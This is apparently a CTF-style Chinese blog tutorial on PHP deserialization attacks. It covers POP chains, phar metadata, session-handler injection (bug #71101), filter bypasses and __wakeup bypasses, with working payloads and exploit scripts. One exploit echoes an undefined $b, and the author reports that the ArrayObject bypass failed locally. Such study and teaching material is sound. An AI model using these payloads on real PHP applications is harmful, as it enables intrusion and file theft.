PHP反序列化
O(对象):(类的字符长度):(类名):(项数):{s/i(字符串/数字):(长度):(内容);}
利用方向:
魔术方法的调用逻辑:如触发条件
语言原生类的调用逻辑:如SoapClient
语言自身的安全缺陷:如CVE-2016-7124
字符标识:https://blog.csdn.net/qq_45570082/article/details/107998748
熟悉PHP的类和方法
public:公有的类成员可以在任何地方被访问
protected:受保护的类成员则可以被其自身以及其子类和父类访问,其属性序列化后的字符串会变成%00*%00
+受保护的属性名
private:私有的类成员则只能被其定义所在的类访问,其属性序列化后的字符串会变成%00类名%00
+私有属性名
语法
<?php
class wllm{
public $admin;
public function __construct(){
$this->admin;
}
}
$a=new wllm(); //自定义参数实例化类
$a->admin="C1oudfL0w0"; //调用指针指向变量或方法并赋值
$b=serialize($a);
echo $b;
运行后可以得到序列化的字符串O:4:"wllm":1:{s:5:"admin";s:10:"C1oudfL0w0";}
魔术方法
看我的另一篇文章:https://c1oudfl0w0.github.io/blog/2023/04/30/PHP%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95/
是一组特殊的方法,它们在特定的情况下会自动调用,以提供对类的行为和属性的控制。这些方法的名称都以两个下划线 __
开头和结尾
魔术方法的调用顺序
demo:
<?php
class test
{
public $value;
function __construct()
{
echo "__construct\t";
}
function __destruct()
{
echo "__destruct\t";
}
function __wakeup()
{
echo "__wakeup\t";
}
function __sleep()
{
echo "__sleep\t";
return ['value'];
}
function __toString()
{
echo "__toString\t";
return $this->value;
}
function setValue($parm)
{
echo "setValue\t";
$this->value = $parm;
}
}
$test = new test;
$test->setValue("0w0");
$ser_test = serialize($test);
echo $ser_test . "\t";
$obj = unserialize($ser_test);
echo $obj . "\t";
执行回显__construct setValue __sleep O:4:"test":1:{s:5:"value";s:3:"0w0";} __wakeup __toString 0w0 __destruct __destruct
说明序列化时的调用顺序是构造方法__construct => __sleep => 析构方法__destruct
反序列化时的调用顺序是__wakeup => __toSring等可以被触发的函数 => __destruct
而序列化和反序列化放在一起时,析构方法都会放在最后执行
原生类
即内置类,PHP自带,是 PHP 本身提供的核心功能和特性的一部分
序列化/反序列化的流程
参考:https://paper.seebug.org/866/#31-serialize
php本质上还是由c语言开发编译过来的,所以要分析底层的话就需要下载php的c源码自行编译
序列化:
当没有魔术方法时,序列化类名->利用递归序列化剩下的结构
当存在魔术方法时,先调用魔术方法->利用ZEND_VM引擎解析PHP操作->返回需要序列化结构的数组->序列化类名->利用递归序列化魔术方法的返回值结构
反序列化:
获取反序列化字符串->根据类型进行反序列化->查表找到对应的反序列化类->根据字符串判断元素个数->new出新实例->迭代解析化剩下的字符串->判断是否具有魔法函数__wakeup并标记->释放空间并判断是否具有具有标记->开启调用
POP链
它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码
入口: 一般是__destruct()或___wakeup()
出口:可以被利用的函数就是我们的出口,比如命令执行,写马之类的
通过
->
指针调用其他类构造pop链
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
这里的入口是__destruct
,而我们出口的目标方法是w44m::Getflag
,但是整段代码中并没有直接调用这个方法的代码,所以我们需要借用题目中的其它魔术方法来实现最后调用w44m::Getflag
的目的
在本题中是__toString
魔术方法,这个魔术方法把参数当成字符串的时候就会被调用,而__destruct
里面有echo $this->w00m;
把参数当作字符串输出,于是就让w00m
的值w33m
来调用里面的__toString
接着在__toString
中有$this->w00m->{$this->w22m}();
,只要让w00m
参数的值为w44m,w22m
参数的值为Getflag,这样就能调用w44m::Getflag
所以最终链子为:w22m::__destruct -> w33m::__toString -> w44m::Getflag
exp:
<?php
class w44m{
private $admin = 'w44m'; // 类内部修改属性的值使其满足下面的判断条件,这里由于是private属性所以必须要在类内给属性赋值
protected $passwd = '08067';
public function Getflag(){ //公共方法
if($this->admin === 'w44m' && $this->passwd ==='08067'){
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m = "Getflag"; // 类内部赋值使其指向Getflag方法
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m(); //前面的w00m是w22m的属性,后面的w00m是w33m的属性
echo urlencode(serialize($b));
?>
phar反序列化
参考:https://paper.seebug.org/680/
在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议
,可以不依赖unserialize()直接进行反序列化操作
phar文件结构
stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件
manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方,当我们用phar://协议去读取的时候会对这段内容进行反序列化
contents
被压缩文件的内容
signature
签名,放在文件末尾
生成
php.ini中设置phar.readonly = Off
,去掉前面的分号注释
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这就是生成的phar文件,用010editor打开看看
可以看到开头就是<?php __HALT_COMPILER(); ?>
,然后是序列化字符串的部分,即meta-data是以序列化的形式存储
注:如果用010对phar文件进行手动修改,则需要在修改完之后重新gzip压缩伪造签名,否则会因为签名错误导致文件出错
伪造签名的脚本
from hashlib import sha1 import gzip with open('phar.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 h = f[-8:] # 获取签名类型以及GBMB标识 new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) f_gzip = gzip.GzipFile("1.phar", "wb") f_gzip.write(new_file) f_gzip.close()
利用
既然有序列化就有反序列化,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化
受影响的函数如下:
前面分析phar的文件结构时可以知道,php识别phar文件是通过其文件头的__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
session反序列化
参考:
首先了解一下 session 的几个配置参数
Directive | 含义 |
---|---|
session.save_handler | session保存形式。默认为files |
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为php。 |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
session存储机制
PHP session的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的
当然这个文件名也不是不变的,如 Codeigniter 框架的 session
存储的文件名为ci_sessionSESSIONID
,不过文件的内容始终是session值的序列化之后的内容
session.serialize_handler
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize(PHP >= 5.5.4) | 经过serialize()函数序列化处理的数组 |
接下来以这段代码为demo,分别测试一下三种处理器:
<?php
ini_set('session.serialize_handler','php');
//ini_set('session.serialize_handler','php_binary');
//ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = '0w0';
?>
首先是php处理器:
结果是name|s:3:"0w0";
然后是php_binary处理器:
为了直观体现差别,这里把name
改成键值长为35的sessionsessionsessionsessionsession
得到的结果#sessionsessionsessionsessionsessions:3:"0w0";
其中#
为键名长度对应的 ASCII 值,sessionsessionsessionsessionsession
为键名,s:3:"0w0";
是序列化值
最后是php_serialize处理器:
结果是a:1:{s:4:"name";s:3:"0w0";}
,标准的序列化字符串,a:1
表示$_SESSION
数组中有 1 个元素,花括号里面的内容即为参数经过序列化后的值
php bug #71101
这个 BUG 是由乌云白帽子 ryat 师傅于2015-12-12在php官网上提出来的:https://bugs.php.net/bug.php?id=71101
漏洞细节如下:
Description:
------------
PHP Session Data Injection Vulnerability
When the session.upload_progress.enabled INI option is enabled (default enabled in php.ini since 5.4 series), PHP will be able to track the upload progress of individual files being uploaded. The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. This means an attacker will be able to control the key, i.e.
```
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ryat" />
<input type="file" name="file" />
<input type="submit" />
</form>
```
The key of stored in the session will look like this:
```
$_SESSION["upload_progress_ryat"]
```
During session upload progress will serialize/deserialize session data and the serialize format is set by session.serialize_handler INI option which is set in php.ini. This means arbitrarily session data injection is possible when a different serialize_handler is set in script.
Proof of Concept (In order to facilitate proof the issue, i disabled the session.upload_progress.cleanup INI option, in fact this is not necessary. An attacker can upload some large files with crafted data, then the attacker will be able to request session data before them destroyed.):
```
--TEST--
session data injection
--INI--
error_reporting=0
file_uploads=1
upload_max_filesize=1024
session.save_path=
session.name=PHPSESSID
session.serialize_handler=php
session.use_strict_mode=0
session.use_cookies=1
session.use_only_cookies=0
session.upload_progress.enabled=1
session.upload_progress.cleanup=0
session.upload_progress.prefix=upload_progress_
session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq=1%
session.upload_progress.min_freq=0.000000001
--COOKIE--
PHPSESSID=session-data-injection
--POST_RAW--
Content-Type: multipart/form-data; boundary=---------------------------20896060251896012921717172737
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHPSESSID"
session-data-injection
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxO:3:"obj":0:{}
-----------------------------20896060251896012921717172737
Content-Disposition: form-data; name="file"; filename="file.txt"
1
-----------------------------20896060251896012921717172737--
--FILE--
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
session_destroy();
class obj {
function __destruct() {
var_dump('session data injection');
}
}
?>
--EXPECTF--
string(%d) "session data injection"
```
简单来说就是php
处理器和php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害
形成的原理就是在用session.serialize_handler = php_serialize
存储的字符可以引入|
, 再用session.serialize_handler = php
格式取出$_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞
demo:
session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
class.php
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
class Test
{
public $name = 'panda';
function __wakeup()
{
echo "Who are you?";
}
function __destruct()
{
echo '<br>' . $this->name;
}
}
$str = new Test();
然后准备一个对应的序列化字符串
<?php
class Test{
public $name="0w0";
}
$a = new Test();
echo serialize($a);
运行得到O:4:"Test":1:{s:4:"name";s:3:"0w0";}
而我们在session.php传入?session=|O:4:"Test":1:{s:4:"name";s:3:"0w0";}
此时的session文件内容就为:a:1:{s:7:"session";s:37:"|O:4:"Test":1:{s:4:"name";s:3:"0w0";}";}
接下来访问class.php
就会发现已经触发了php bug #71101
,session文件中的内容被反序列化执行了
常用姿势
shell获取利用
file_put_contents
写入一句话木马
正则过滤绕过
/[oc]:\d+:/i
:匹配O: C: +数字
/^O:\d+/
:匹配序列化字符串是否是对象字符串开头
利用加号绕过
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过 $b = str_replace('O:4','O:+4', $a); unserialize(match($b)); - serialize(array($a)) ```php $a=new test(); serialize(array($a)); unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
C绕过:见下面
关键词绕过
当代码中存在对序列化字符串的关键词检测时,可以将表示字符类型的s
改为大写,然后内容改为16进制来绕过检测
<?php
class test{
public $username='admin';
public $password='admin888';
}
echo serialize(new test());
//O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
?>
如果过滤了关键字admin
,可以将其替换成O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}
表示字符类型的s为大写时,就会被当成16进制解析
字符串逃逸
见文章
__wakeup()绕过
fast-destruct
具体分析:https://c1oudfl0w0.github.io/blog/2023/06/09/fast-destruct%E6%8E%A2%E7%B4%A2/
反序列化的结果赋值给一个变量时才可利用,eg:$a = unserialize($_GET['pop']);
CVE-2016-7124
版本:PHP5 < 5.6.25,PHP7 < 7.0.10
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行
demo:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$var = new Demo("fl4g.php");
$var = serialize($var);
echo($var);
?>
结果为O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
,而绕过就是改为O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
C绕过
demo:
<?php
highlight_file(__FILE__);
class test
{
public $key = True;
public function __wakeup()
{
$this->key = False;
}
public function __destruct()
{
if ($this->key === True) {
echo "bypass";
system($this->cmd);
}else{
echo "failed";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
exp:
<?php
class test
{
public $key = True;
}
$a = new test();
$a->cmd = "calc";
echo serialize($a);
// O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}
首先这时候我们正常传入我们的payload肯定是行不通会返回failed的
这时候就要用C进行绕过
C:custom object 自定义对象序列化,实现了serializable接口的类在序列化的时候返回的字符串也是C开头的,利用这个可以绕过例如
O:\d+
的这种正则
把payload改为C:4:"test":0:{}
此时再传入
成功绕过
接下来就是一个重要的问题了,我们必须改成C:4:"test":0:{}
这种格式的话,怎么命令执行?
前面说过,实现了serializable接口的类在序列化的时候返回的字符串也是C开头的
所以这里我们可以写个脚本找一下哪些类继承了serializable接口
<?php
$classes = get_declared_classes();
foreach($classes as $clazz){
$methods = get_class_methods($clazz);
foreach($methods as $method){
if (in_array($method,array("serialize"))){
echo $clazz."\n";
}
}
}
/*
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
*/
所以我们这里可以使用ArrayObject
对正常的反序列化进行一次包装,让最后输出的payload以C开头
修改exp:
<?php
class test
{
public $key = True;
}
$a = new test();
$a->cmd = "calc";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
// C:11:"ArrayObject":82:{x:i:0;a:1:{s:4:"evil";O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}};m:a:0:{}}
注意这里要在php小于7.4的环境下运行,更高的版本会返回O开头,我这里用的是7.3.4
奇怪的是本地居然没复现出来。。但是确实是这种方法
同理其它继承了接口的类也能做到
引用赋值&
在php里,我们可以使用引用&的方式让两个变量同时指向同一个内存地址,类似于指针
这样对其中一个变量操作时,另一个变量的值也会随之改变
<?php
function test (&$y){
$x=&$y;
$x='123';
return $y;
}
$a='11';
echo test($a);
// 123
可以看到这里我们虽然最初$a=’11’,但由于我们通过$x=&$a
使两个变量同时指向同一个内存地址了,即$a
指向了$x
的地址,所以最后$a
的值为’123’
demo:
<?php
highlight_file(__FILE__);
class KeyPort
{
public $key;
public function __destruct()
{
$this->key = False;
if (!isset($this->wakeup) || !$this->wakeup) {
echo "You get it!";
}
}
public function __wakeup()
{
$this->wakeup = True;
}
}
if (isset($_POST['pop'])) {
@unserialize($_POST['pop']);
}
我们要是想触发echo就要先满足if (!isset($this->wakeup) || !$this->wakeup)
这个条件的意思是要么不给wakeup赋值,让它接受不到$this->wakeup,要么控制wakeup为false才能通过判断
但是下面的__wakeup
魔术方法会先让wakeup的值为True,这个时候就要用到引用赋值的方法来绕过,可以看到上面有$this->key = False
,那么我们只要让wakeup的引用指向key就能实现在调用__destruct
的时候值被改为False
exp:
<?php
class KeyPort
{
public $key;
}
$a=new KeyPort();
$a->key=&$a->wakeup;
echo serialize($a);
// O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}
实现绕过